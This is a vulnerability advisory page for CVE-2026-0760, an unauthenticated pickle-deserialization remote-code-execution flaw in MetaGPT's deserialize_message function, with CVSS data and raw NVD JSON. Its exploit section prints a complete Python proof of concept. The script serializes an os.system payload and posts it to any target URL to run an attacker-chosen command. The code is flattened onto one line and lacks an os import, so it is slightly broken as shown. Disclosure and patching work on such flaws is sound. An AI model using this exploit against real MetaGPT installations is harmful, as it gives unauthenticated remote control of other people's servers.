Security Vulnerability Report
中文
CVE-2026-0760 CVSS 9.8 CRITICAL

CVE-2026-0760

Published: 2026-01-23 04:16:03
Last Modified: 2026-02-20 13:42:12

Description

Foundation Agents MetaGPT deserialize_message Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foundation Agents MetaGPT. Authentication is not required to exploit this vulnerability. The specific flaw exists within the deserialize_message function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28121.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deepwisdom:metagpt:0.8.1:*:*:*:*:*:*:* - VULNERABLE
Foundation Agents MetaGPT(所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0760 PoC - MetaGPT deserialize_message RCE # This PoC demonstrates the deserialization vulnerability in MetaGPT import pickle import base64 import requests import sys class RCEPayload: """ Malicious payload that executes arbitrary commands via unsafe deserialization """ def __reduce__(self): # Replace 'whoami' with any command you want to execute cmd = "whoami" return (os.system, (cmd,)) def generate_payload(command): """Generate malicious serialized payload""" payload = RCEPayload() # The RCEPayload class will execute the command during deserialization serialized = pickle.dumps(payload) return base64.b64encode(serialized).decode() def exploit(target_url, command): """ Send exploit to target target_url: URL of the deserialize_message endpoint command: Command to execute on target """ payload = generate_payload(command) # Construct the request exploit_data = { "data": payload, "format": "pickle" } try: response = requests.post(target_url, json=exploit_data, timeout=10) print(f"[+] Payload sent successfully") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://target.com/api/deserialize 'id > /tmp/pwned'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd) # Note: This PoC requires the 'requests' library: pip install requests

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0760", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:02.707", "lastModified": "2026-02-20T13:42:12.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Foundation Agents MetaGPT deserialize_message Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foundation Agents MetaGPT. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the deserialize_message function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28121."}, {"lang": "es", "value": "Foundation Agents MetaGPT deserialize_message Deserialización de Datos No Confiables Vulnerabilidad de Ejecución Remota de Código. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Foundation Agents MetaGPT. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la función deserialize_message. El problema resulta de la falta de validación adecuada de datos proporcionados por el usuario, lo que puede resultar en deserialización de datos no confiables. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-28121."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deepwisdom:metagpt:0.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "F3E5C450-428D-4576-BCB3-622B8633EF67"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-026/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}